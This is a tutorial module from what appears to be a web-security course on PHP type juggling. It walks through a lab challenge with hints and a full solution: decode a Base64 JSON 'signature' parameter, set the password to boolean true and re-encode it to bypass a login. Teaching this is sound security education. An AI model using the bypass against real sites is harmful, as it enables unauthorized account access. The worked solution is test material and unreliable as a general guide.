Challenge #3: JSON Makes This Easy!
This is a demo module, sign up for the course here!
The challenge with Type Jugging, especially on PHP 8.0, is forcing the user input into the right format, in order to trigger some form of type juggling.
Unless the app has specific input handling, which we did in Challenge #1, form inputs and URL parameters always come through as strings, which gives you very little to work with. Likewise, Magic Hashes (which we looked at in Challenge #2) are incredibly rare to find in the wild, and even harder to exploit - so you can't rely on them either.
Instead, you need to find a way to force the input into the right format, which is where JSON comes in!
Consider the following payload:
{
"username": "gandalf",
"password": "istarirulez",
"expiry": 123456,
"remember": true
}
Within that one JSON payload, we have string
, integer
, and boolean
values, which the server should automatically
inherit from the JSON when it's parsed.
If we pass it through var_dump(json_decode($json, true))
, we get this:
array(4) {
["username"]=>
string(7) "gandalf"
["password"]=>
string(11) "istarirulez"
["expiry"]=>
int(123456)
["remember"]=>
bool(true)
}
The expiry
value is now an integer
, and remember
is a boolean
- which gives us the opening we need to exploit
any type juggling vulnerabilities within the input handling.
So keep an eye out for inputs that accept JSON, in any form, and see what happens when you manipulate the types! You may just find a type juggling vulnerability waiting for you...
Fun story: This is exactly how I earned a top-prize bug bounty from 5 minutes work.
I noticed a JSON payload in the browser inspector, toggled a password field to true
and it let me straight in!
Your Challenge
Provide valid credentials to gain access to the page.
I've stepped up the difficulty a bit, but don't overthink it!
Objectives
- Identify the vulnerable input and manipulate the payload to gain access.
Hint #1
You're looking for a JSON payload, but it's not waiting in plaintext for you. See if you can reveal or decode it somehow...
Hint #2
If you're still unsure where to find the JSON payload, check out the signature
query parameter,
specifically the eyI
prefix.
Here's an extra hint, eyI
is the Base 64 encoded version of {"
...
Hint #3
You'll often find Base 64 is used to obfuscate JSON payloads (and other sensitive or interesting things), so it's always worth checking what's inside if you see one!
You can decode the full signature
query parameter into it's raw version:
> base64_decode('eyJ1c2VybmFtZSI6IlNhbXdpc2UiLCJwYXNzd29yZCI6IiJ9');
= "{"username":"Samwise","password":""}"
Now you just need to modify the JSON, encode it back to Base 64, and you're in!
Solution
Decode the full signature
query parameter into it's raw version:
> base64_decode('eyJ1c2VybmFtZSI6IlNhbXdpc2UiLCJwYXNzd29yZCI6IiJ9');
= '{"username":"Samwise","password":""}'
Modify the password
field to true
, and encode it back to Base 64:
> base64_encode('{"username":"Samwise","password":true}')
= "eyJ1c2VybmFtZSI6IlNhbXdpc2UiLCJwYXNzd29yZCI6dHJ1ZX0="
Throw the new Base 64 string into the signature
query parameter and you should get straight in!